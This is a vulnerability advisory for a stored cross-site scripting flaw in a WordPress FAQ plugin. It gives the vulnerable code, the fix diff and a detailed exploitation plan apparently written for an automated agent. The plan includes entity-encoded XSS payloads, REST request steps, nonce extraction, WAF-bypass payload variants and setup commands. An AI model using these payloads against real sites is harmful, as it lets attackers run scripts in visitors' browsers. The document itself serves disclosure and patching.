Ultimate FAQ Accordion Plugin <= 2.4.7 - Authenticated (Author+) Stored Cross-Site Scripting via FAQ Content
Description
The Ultimate FAQ Accordion plugin for WordPress is vulnerable to Stored Cross-Site Scripting via FAQ content in all versions up to, and including, 2.4.7. This is due to the plugin calling html_entity_decode() on post_content during rendering in the set_display_variables() function (View.FAQ.class.php, line 746), which converts HTML entity-encoded payloads back into executable HTML, combined with insufficient output escaping in the faq-answer.php template where the decoded content is echoed without wp_kses_post() or any other sanitization. The ufaq custom post type is registered with 'show_in_rest' => true and defaults to 'post' capability_type, allowing Author-level users to create and publish FAQs via the REST API. An Author can submit entity-encoded malicious HTML (e.g., <img src=x onerror=alert()>) which bypasses WordPress's kses sanitization at save time (since kses sees entities as plain text, not tags), but is then decoded back into executable HTML by html_entity_decode() at render time. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in FAQ pages that will execute whenever a user accesses an injected FAQ, either directly or via the [ultimate-faqs] shortcode.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v2.4.8
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-4336 - Ultimate FAQ Accordion Plugin Stored XSS ## 1. Vulnerability Summary The **Ultimate FAQ Accordion Plugin (<= 2.4.7)** is vulnerable to **Stored Cross-Site Scripting (XSS)**. The vulnerability arises because the plugin intentionally decodes HTML entities…
Show full research plan
Exploitation Research Plan: CVE-2026-4336 - Ultimate FAQ Accordion Plugin Stored XSS
1. Vulnerability Summary
The Ultimate FAQ Accordion Plugin (<= 2.4.7) is vulnerable to Stored Cross-Site Scripting (XSS). The vulnerability arises because the plugin intentionally decodes HTML entities in FAQ content using html_entity_decode() during the rendering process in ewdufaqViewFAQ::set_display_variables() (located in views/View.FAQ.class.php).
Because WordPress's default kses sanitization (applied during post saving) treats HTML entities (like <script>) as literal text rather than HTML tags, it allows them to be stored in the database. When the plugin renders the FAQ, it decodes these entities back into executable HTML tags and echoes them in the faq-answer.php template without subsequent escaping (like wp_kses_post()). Since the ufaq custom post type is exposed via the REST API with default post capabilities, an Author-level user can exploit this to inject arbitrary scripts.
2. Attack Vector Analysis
- Endpoint: WordPress REST API
/wp-json/wp/v2/ufaq - Vulnerable Hook/Action:
the_content(indirectly via the plugin's custom rendering logic) - HTTP Parameter:
content(within the JSON body of the REST request) - Authentication Required: Author-level credentials (or any role with
edit_postscapability for theufaqpost type). - Preconditions: The
ufaqpost type must be registered (default behavior of the plugin).
3. Code Flow
- Entry (Save): An Author user sends a POST request to
/wp-json/wp/v2/ufaqwith a payload containing HTML entities:{"title": "XSS Test", "content": "<img src=x onerror=alert(document.domain)>", "status": "publish"}. - Sanitization Bypass: WordPress core receives the content.
ksessees<and>as plain text entities, not tags, and allows them to be saved towp_posts.post_content. - Processing (Render): A user views the FAQ page. The plugin initializes
ewdufaqViewFAQ. - Vulnerable Sink 1: Inside
ewdufaqViewFAQ::set_display_variables()(approx line 746 inviews/View.FAQ.class.php), the code performs:
This converts$this->faq_answer = html_entity_decode( $this->faq->post->post_content, ENT_QUOTES, 'UTF-8' );<img ... >back to<img ... >. - Vulnerable Sink 2:
ewdufaqViewFAQ::print_faq_answer()finds and includes the templateewd-ufaq-templates/faq-answer.php. - Final Execution: In
faq-answer.php:
The decoded, unsanitized HTML is written directly to the response buffer.<?php echo $this->faq_answer; ?>
4. Nonce Acquisition Strategy
The WordPress REST API requires a _wpnonce header (X-WP-Nonce) for authenticated state-changing requests.
- Step 1: Log in to WordPress as the Author user.
- Step 2: Navigate to the WordPress Dashboard (
/wp-admin/). - Step 3: Use
browser_evalto extract the REST nonce from thewpApiSettingsobject globally available in the admin UI:browser_eval("window.wpApiSettings?.nonce") - Verification: Ensure the returned value is a 10-character alphanumeric string.
5. Exploitation Strategy
Step 1: Authentication and Nonce Retrieval
Use the http_request tool to log in as an Author and browser_navigate / browser_eval to grab the REST nonce as described in Section 4.
Step 2: Create Malicious FAQ via REST API
Submit the XSS payload encoded as entities.
- Method: POST
- URL:
/wp-json/wp/v2/ufaq - Headers:
Content-Type: application/jsonX-WP-Nonce: [EXTRACTED_NONCE]
- Body:
{
"title": "Security FAQ",
"content": "This is a normal answer. <img src=x onerror=alert(document.domain)>",
"status": "publish"
}
Step 3: Trigger XSS
- URL: Access the
linkprovided in the REST API response (the permalink of the newufaqpost). - Alternative: Create a standard page with the shortcode
[ultimate-faqs]and navigate to it.
6. Test Data Setup
- User Creation:
wp user create attacker attacker@example.com --role=author --user_pass=password123 - Plugin Configuration: Ensure the plugin is active.
wp plugin activate ultimate-faqs
7. Expected Results
- The REST API should return
201 Created. - When navigating to the FAQ permalink, the HTML source should contain
<img src=x onerror=alert(document.domain)>instead of the encoded<entities. - A JavaScript
alertdialog should appear in the browser.
8. Verification Steps
- Database Check: Verify the content is stored in entity form (safe).
Expected output: Containswp db query "SELECT post_content FROM wp_posts WHERE post_type='ufaq' ORDER BY ID DESC LIMIT 1"<img ... > - Frontend Check: Use
http_requestto fetch the FAQ page and grep for the decoded tag.# (Pseudocode for agent) response = http_request(URL_OF_FAQ) if "<img src=x onerror=alert(document.domain)>" in response.body: print("Vulnerability Confirmed: Entities decoded and rendered raw.")
9. Alternative Approaches
- Gutenberg Block: If the REST API is restricted, try creating the post via the Gutenberg editor (which also uses the REST API internally) using
browser_clickandbrowser_type. - Shortcode Attribute: If the
post_contentvector is patched, check if FAQ attributes (like categories or tags) are also passed throughhtml_entity_decodeinset_display_variables(). - Payload Variety: If
onerroris blocked by a WAF, use<details open ontoggle=alert(1)>or<svg onload=alert(1)>. Because the sink is a literalhtml_entity_decode, any entity-encoded tag will bypass the initial save-time filter.
Summary
The Ultimate FAQ Accordion plugin is vulnerable to Stored Cross-Site Scripting because it decodes HTML entities in FAQ content using `html_entity_decode()` during the rendering process without subsequent sanitization. An Author-level user can submit a payload with entity-encoded HTML (e.g., `<script>`) via the WordPress REST API, which bypasses initial sanitization and is executed when the FAQ is viewed.
Vulnerable Code
/* views/View.FAQ.class.php line 746 */ $this->faq_answer = html_entity_decode( $this->faq->post->post_content, ENT_QUOTES, 'UTF-8' ); --- /* ewd-ufaq-templates/faq-answer.php */ <div class='ewd-ufaq-post-margin ewd-ufaq-faq-post'> <?php echo $this->faq_answer; /* sanitized by the_content filter */ ?> </div>
Security Fix
@@ -1,3 +1,3 @@ <div class='ewd-ufaq-post-margin ewd-ufaq-faq-post'> - <?php echo $this->faq_answer; /* sanitized by the_content filter */ ?> + <?php echo wp_kses( $this->faq_answer, $this->get_faq_allowed_tags() ); ?> </div>
Exploit Outline
1. Authenticate as an Author-level user. 2. Obtain a valid REST API nonce (X-WP-Nonce) from the WordPress admin dashboard (e.g., from the `wpApiSettings` object). 3. Send a POST request to the `/wp-json/wp/v2/ufaq` endpoint to create a new FAQ. 4. Include a payload in the `content` field that uses HTML entities to hide malicious tags (e.g., `<img src=x onerror=alert(1)>`). 5. WordPress core kses sanitization will allow the content because the entities are treated as literal text. 6. Navigate to the permalink of the newly created FAQ or view it on a page containing the `[ultimate-faqs]` shortcode. 7. The plugin will decode the entities into executable HTML tags and render them, triggering the XSS payload.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.